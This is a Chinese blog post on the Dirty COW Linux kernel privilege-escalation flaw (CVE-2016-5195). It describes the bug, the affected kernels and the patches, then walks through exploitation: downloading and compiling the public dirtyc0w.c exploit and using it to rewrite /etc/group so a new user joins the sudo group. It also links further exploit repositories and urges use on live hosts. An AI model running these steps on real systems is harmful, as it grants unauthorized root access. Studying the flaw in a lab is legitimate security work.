这个名叫Dirty COW,也就是脏牛的漏洞,存在Linux内核中已经有长达9年的时间,也就说2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队已经对此进行了修复。据说Linus本人也参与了修复。:P
00x1 漏洞编号:
CVE-2016-5195
00x2 漏洞危害:
低权限用户利用该漏洞可以在众多Linux系统上实现本地提权
00x3影响范围:
Linux kernel >=2.6.22(2007年发行,到今年10月18日才修复)
该漏洞具体为,Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage ofprivate read-only memory mappings.)
竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
根据官方发布的补丁信息,这个问题可以追溯到2007年发布的Linux内核。现在还没有任何证据表明,2007年后是否有黑客利用了这个漏洞。不过安全专家Phil Oester称发现一名攻击者利用该漏洞部署攻击,并向Red Hat通报了最近的攻击事件。
进行Linux内核维护的Greg Kroah-Hartman宣布针对Linux 4.8、4.7和4.4LTS内核系列的维护更新(更新后为Linux kernel 4.8.3、4.7.9和4.4.26 LTS),修复了该漏洞。目前新版本已经登录各GNU/Linux发行版库,包括Arch Linux(测试中)、Solus和所有受支持版本的Ubuntu。Debian开发人员前天也宣布稳定版Debian GNU/Linux 8 “Jessei”系列内核重要更新——本次更新总共修复4个Linux内核安全漏洞,其中也包括了脏牛。
各操作系统供应商应该即刻下载Linux kernel 4.8.3、Linux kernel 4.7.9和Linux kernel 4.4.26 LTS,为用户提供稳定版渠道更新。
软件开发人员可以通过 https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。
如果有主机实战的话那么就不用多说了直接开日,如果没有的话,建议在虚拟机搭建一个环境,然后添加一个普通用户。
查看sudo的权限,它是27。
昨晚手残把centos 删除了,所以就用kali了。
我们只需将新建的vaf GID改为27就能继承sudo用户组的权限。
usermod –G 27 vaf
一次性搞定的命名:useradd -r -m -s /bin/bash -G 27 vaf
新建完成之后我们用ssh连接,vaf这个账户登录。
首先用uname –a 查看内核版本
再用lsb_release –a 查看发行版本
然后用wget 下载在github的exp:
wgethttps://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
用gcc编译:
gcc dirtyc0w.c -o exp -lpthread
执行:./dirtycow/etc/group "$(sed '/\(sudo*\)/ s/$/.vaf/' /etc/group)"
安卓root的思路可以参考:http://www.91ri.org/15445.html
我的某中国台湾产机子失败了…
Exp在: https://github.com/timwr/CVE-2016-5195
https://gist.github.com/Arinerron/0e99d69d70a778ca13a0087fa6fdfd80